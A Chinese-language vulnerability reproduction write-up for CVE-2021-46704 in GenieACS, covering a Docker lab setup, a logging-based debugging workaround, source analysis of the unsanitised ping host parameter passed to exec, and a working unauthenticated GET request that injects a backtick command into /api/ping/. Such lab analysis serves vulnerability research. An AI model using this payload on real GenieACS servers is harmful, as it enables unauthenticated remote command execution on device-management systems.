简介

GenieACS是一个开源的TR-069远程管理解决方案。

漏洞参考披露信息CVE-2021-46704

In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.

TR-069知识

tr-069是CPE和ACS之间沟通的通讯协定,全称是CPE广域网管理协议,即就是CWMP(CPE WAN Management Protocol)。

TR069协议提供了对下一代网络中家庭网络设备进行管理配置的通用框架消息规范管理方法数据模型

其中CPE指的是用户终端设备,ACS指的是自动配置服务器。

tr069提供了一系列方法来实现ACS针对CPE的管理,参考TR-069协议介绍

环境搭建

软件环境搭建

官网提供了详细的使用安装教程,可以跟着一步步来

尝试搜索了一下,发现有前人提供了docker部署方式

cd /opt && git clone https://github.com/DrumSergio/GenieACS-Docker && cd GenieACS-Docker
sudo docker pull drumsergio/genieacs:1.2.8
sudo docker-compose up -d

完成操作后,3000端口即可正常访问进入配置界面

点击按钮后就可以进入正常的登陆界面

至此,基础的运行环境搭建完成

因为这个漏洞影响1.2.8以下版本,所以需要安装老一点的版本,刚好也有大佬提供了docker 1.2.0的安装方式

然后一定要注意的此时有一个坑,需要将genieacs容器中/opt/genieacs/lib/config.ts中mongo的默认地址写成你的mongo的ip地址(不知道其他人会不会遇到,我在这里卡了很久才找到问题所在)

然后为了方便调试,将genieacs这个容器对外多加一个9000-9003端口用于调试

可以看出1.2.0这个版本在登陆界面上看不到版本号

调试环境踩坑

关于远程调试nodejs,有很多教程

nodejs调试指南

使用 VSCode 远程调试 Node.js

通过VScode调试docker内的nodejs代码

主要思路都是在运行的时候node增加inspect参数,但是这要求我们需要我们找到启动的时候真正调用的所谓的server.js文件,在目标环境shell中查看进程

root@35fea11e1d0b:~# ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
genieacs       1       0  0 03:41 ?        00:00:09 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
genieacs      10       1  0 03:41 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
genieacs      11       1  0 03:41 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
genieacs      12       1  0 03:41 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
genieacs      13      10  0 03:41 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs      15      11  0 03:41 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-fs
genieacs      16      12  0 03:41 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      46      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      48      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      49      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      55      15  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      77      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      84      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      89      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      92      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs      97      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs      99      16  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs     100      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs     103      13  0 03:41 ?        00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
root         230       0  0 03:41 pts/0    00:00:00 bash
genieacs     347       1  0 07:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
genieacs     348     347  0 07:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-ui
genieacs     359     348  0 07:57 ?        00:00:08 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs     362     348  0 07:57 ?        00:00:05 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs     366     348  0 07:57 ?        00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
genieacs     374     348  0 07:57 ?        00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui
root         429     230  0 13:04 pts/0    00:00:00 ps -ef

查看/etc/supervisor/conf.d/supervisord.conf

[supervisord]
nodaemon=true
user=genieacs

[program:genieacs-cwmp]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
stdout_logfile=/var/log/genieacs/genieacs-cwmp.log
stderr_logfile=/var/log/genieacs/genieacs-cwmp.log
autorestart=true

[program:genieacs-nbi]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
stdout_logfile=/var/log/genieacs/genieacs-nbi.log
stderr_logfile=/var/log/genieacs/genieacs-nbi.log
autorestart=true

[program:genieacs-fs]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
stdout_logfile=/var/log/genieacs/genieacs-fs.log
stderr_logfile=/var/log/genieacs/genieacs-fs.log
autorestart=true

[program:genieacs-ui]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
stdout_logfile=/var/log/genieacs/genieacs-ui.log
stderr_logfile=/var/log/genieacs/genieacs-ui.log
autorestart=true

我们关注的显然是genieacs-ui

#!/usr/bin/env node
.......

尝试加上调试命令,将文件头部更改为

#!/usr/bin/env node --inspect-brk=0.0.0.0:9000
......

然后重启我的docker,重启完成后再查看进程发现已经以调试模式启动了

root@58a580aafc7f:/var/log/genieacs# ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
genieacs       1       0  0 13:57 ?        00:00:00 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
genieacs      10       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
genieacs      11       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
genieacs      12       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
genieacs      13      10  0 13:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs      14       1  0 13:57 ?        00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
genieacs      15      11  0 13:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-fs
genieacs      16      12  0 13:57 ?        00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      27      14 99 13:57 ?        00:14:55 /usr/bin/env node --inspect-brk=0.0.0.0:9000 /opt/genieacs/dist/bin/genieacs-ui
genieacs      40      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      45      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      46      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      47      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      54      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      56      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      68      15  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs
genieacs      82      16  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi
genieacs      84      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs      99      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs     110      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
genieacs     113      13  0 13:57 ?        00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp
root         180       0  0 13:57 pts/0    00:00:00 bash
root         187     180  0 14:12 pts/0    00:00:00 ps -ef

然后进入主机vscode中创建launch.json文件

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "type": "node",
            "request": "attach",
            "name": "Remote server",
            "address": "*****",
            "port": 9000,
            "localRoot": "/*****/genieACS/genieacs/bin/genieacs-ui.ts",
            "remoteRoot": "/opt/genieacs/dist/bin/genieacs-ui"
        }
    ]
}

经过了这一番折腾,结果发现这个调试环境对于genieACS并不起作用,主要原因是因为genieACS要有一个混淆的过程,针对生成的文件并不能像普通的js一样调试

我最终解决办法是这样的,

修改lib/logger.ts文件,在尾部加入以下代码

export function mylog(Name, Value): void {
  error({ message: "------0------" + Name + "-------0-------" })
  error({ message: Value })
  error({ message: "------1------" + Name + "-------1-------" })
}

当需要调试的时候使用logger.mylog(Name, Value)即可,打印的值可以在/var/log/genieacs/genieacs-ui.log中看到

另外在/opt/genieacs目录下创建debug.sh

npm run build
ps -ef | grep "node /opt/genieacs/dist/bin/genieacs-ui" | grep -v "/usr/local" | grep -v "grep" | awk '{print$2}' | xargs kill -9

每次在修改完代码后需要运行这个文件

不得不承认确实有点麻烦,但确实是我目前能力上能想到的解决办法了

我相信作者一定有更好的调试方法,或许可以提个issue问一下,如果观者有更好的方法欢迎提出

漏洞分析

CVE-2021-46704这个漏洞细节已经报的很清楚了,漏洞存在于 lib/ping.ts文件中

import { platform } from "os";
import { exec } from "child_process";
.......
export function ping(
  host: string,
  callback: (err: Error, res?: PingResult, stdout?: string) => void
): void {
  let cmd: string, parseRegExp1: RegExp, parseRegExp2: RegExp;
  switch (platform()) {
    case "linux":
      cmd = `ping -w 1 -i 0.2 -c 3 ${host}`;
      parseRegExp1 = /(\d+) packets transmitted, (\d+) received, ([\d.]+)% packet loss[^]*([\d.]+)\/([\d.]+)\/([\d.]+)\/([\d.]+)/;
      parseRegExp2 = /(\d+) packets transmitted, (\d+) received, ([\d.]+)% packet loss/;
      break;

    case "freebsd":
      // Send a single packet because on FreeBSD only superuser can send
      // packets that are only 200 ms apart.
      cmd = `ping -t 1 -c 3 ${host}`;
      parseRegExp1 = /(\d+) packets transmitted, (\d+) packets received, ([\d.]+)% packet loss\nround-trip min\/avg\/max\/stddev = ([\d.]+)\/([\d.]+)\/([\d.]+)\/([\d.]+) ms/;
      parseRegExp2 = /(\d+) packets transmitted, (\d+) packets received, ([\d.]+)% packet loss/;
      break;

    default:
      return callback(new Error("Platform not supported"));
  }

  exec(cmd, (err, stdout)
  ......

很明显,会将ping命令中host参数拼接到字符串中然后调用child_process.exec函数去执行

知道了漏洞点以后,尝试找一下触发路径,根据进程我们知道程序是使用node运行/opt/genieacs/dist/bin/genieacs-ui

/opt/genieacs/dist/bin/genieacs-ui这个文件是/bin/genieacs-ui.ts混淆生成的,所以直接去看相应文件

......
  const _listener = (req, res): void => {
    if (stopping) res.setHeader("Connection", "close");
    listener(req, res);
  };

  const initPromise = Promise.all([db2.connect(), cache.connect()])
    .then(() => {
      server.start(SERVICE_PORT, SERVICE_ADDRESS, ssl, _listener);
    })
    .catch((err) => {
      setTimeout(() => {
        throw err;
      });
    });
    ......

geniesacs-ui.ts中开启了服务器,使用listener作为监听处理,listener相关定义在于lib/ui.ts中

......
router.post("/login", async (ctx) => {
  if (!JWT_SECRET) {
    ctx.status = 500;
    ctx.body = "UI_JWT_SECRET is not set";
    logger.error({ message: "UI_JWT_SECRET is not set" });
    return;
  }
......
router.get("/status", (ctx) => {
  ctx.body = "OK";
});
.....
router.use("/api", api.routes(), api.allowedMethods());
.....

很明显代码中根据不同的urlpatten规范了不同的处理内容,根据漏洞公告明确知道漏洞肯定是出在api中,因此直接去查看api.routes(),尝试找到ping的具体处理路径,最终在lib/ui/api.ts中找到了相关定义

router.get("/ping/:host", async (ctx) => {
  return new Promise((resolve) => {
    ping(ctx.params.host, (err, parsed) => {
      if (parsed) {
        ctx.body = parsed;
      } else {
        ctx.status = 500;
        ctx.body = `${err.name}: ${err.message}`;
      }
      resolve();
    });
  });
});

很明显会从get请求url中取出host的值,然后传入ping函数,进而造成命令执行,同时在调用路径上没有看到任何认证校验的存在,因此此漏洞还是一个认证前的命令执行

漏洞复现

GET /api/ping/`id>%2ftmp%2faaaaa` HTTP/1.1
Host: 172.16.113.160:3000
User-Agent: Mozilla
Accept: application/json, text/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://172.16.113.160:3000
Connection: close
Referer: http://172.16.113.160:3000/

回包:

HTTP/1.1 500 Internal Server Error
X-Config-Snapshot: fc1bdc5907edb1217fed62dd5425c464
GenieACS-Version: 1.2.0+20220915090845
Vary: Accept-Encoding
Content-Type: text/plain; charset=utf-8
Content-Length: 663
Date: Thu, 15 Sep 2022 09:48:20 GMT
Connection: close

Error: Command failed: ping -w 1 -i 0.2 -c 3 `id>/tmp/aaaaa`
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
             [-l preload] [-m mark] [-M pmtudisc_option]
             [-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]
             [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]
             [-W timeout] destination

在目标中查看,/tmp/aaaaa中已经写入内容

root@5*****:/opt/genieacs# cat /tmp/aaaaa
uid=999(genieacs) gid=999(genieacs) groups=999(genieacs)

成功复现命令注入

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖